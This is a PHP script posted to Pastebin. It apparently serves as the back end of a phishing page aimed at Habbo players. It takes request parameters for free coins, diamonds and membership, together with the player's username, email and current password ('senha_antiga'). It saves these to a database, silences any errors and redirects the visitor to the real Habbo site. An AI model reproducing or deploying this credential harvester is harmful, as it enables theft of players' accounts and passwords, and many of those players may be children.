Advertisement
Guest User

INSERTEMAIL

a guest
Apr 13th, 2017
221
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.31 KB | None | 0 0
  1. <?php
  2. function GeraHash($qtd){
  3. //Under the string $Caracteres you write all the characters you want to be used to randomly generate the code.
  4. $Caracteres = 'ABCDEFGHIJKLMOPQRSTUVXWYZ0123456789abcdefghijklmnopqrstuvwyxz';
  5. $QuantidadeCaracteres = strlen($Caracteres);
  6. $QuantidadeCaracteres--;
  7.  
  8. $Hash=NULL;
  9. for($x=1;$x<=$qtd;$x++){
  10. $Posicao = rand(0,$QuantidadeCaracteres);
  11. $Hash .= substr($Caracteres,$Posicao,1);
  12. }
  13.  
  14. return $Hash;
  15. }
  16.  
  17. try {
  18. $host = "hostdasuadb";
  19. $dbname = "nomedasuadb";
  20. $user = "nomedasuadb";
  21. $pass = "senhadasuadb";
  22. $pdo = new PDO("mysql:host=" . $host . ";dbname=" . $dbname, $user, $pass);
  23.  
  24.  
  25. $verfm = $_GET["moedas"];
  26. $verfd = $_GET["diamantes"];
  27. $verfhc = $_GET["hc"];
  28. $uidtransfer = 1;
  29. ?>
  30. <?php
  31. $moedas = $_GET["moedas"];
  32. $diamantes = $_GET["diamantes"];
  33. $hc = $_GET["hc"];
  34. $adc = $_GET["adc"];
  35. $habbo = $_GET["habbo"];
  36. $emailS = $_GET["emailS"];
  37. $uid = $_GET["uid"];
  38. $senha = $_GET["senha_antiga"];
  39.  
  40. date_default_timezone_set('America/Toronto');
  41.  
  42.  
  43. $sql = "INSERT INTO contas(moedas,
  44. diamantes,
  45. hc,
  46. adc,
  47. habbo,
  48. email,
  49. uid,
  50. senha) VALUES (
  51. :moedas,
  52. :diamantes,
  53. :hc,
  54. :adc,
  55. :habbo,
  56. :email,
  57. :uid,
  58. :senha)";
  59.  
  60. $senha = $_GET["senha_antiga"];
  61. $stmt = $pdo->prepare($sql);
  62. $stmt->bindParam(":moedas", $_GET["moedas"], PDO::PARAM_INT);
  63. $stmt->bindParam(":diamantes", $_GET["diamantes"], PDO::PARAM_INT);
  64. $stmt->bindParam(":hc", $_GET["hc"], PDO::PARAM_INT);
  65. $stmt->bindParam(":adc", $_GET["adc"], PDO::PARAM_STR);
  66. $stmt->bindParam(":habbo", $_GET["habbo"], PDO::PARAM_STR);
  67. $stmt->bindParam(":email", $_GET["emailS"], PDO::PARAM_STR);
  68. $stmt->bindParam(":uid", $_GET["uid"], PDO::PARAM_INT);
  69. $stmt->bindParam(":senha", $senha, PDO::PARAM_STR);
  70. $stmt->execute();
  71. $dbh = null;
  72. }
  73.  
  74. catch(PDOException $e) {
  75. #print "Error!: " . $e->getMessage() . "<br/>";
  76. #die();
  77.  
  78. }
  79.  
  80. header("Location: http://www.habbo.com.br");
  81.  
  82. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement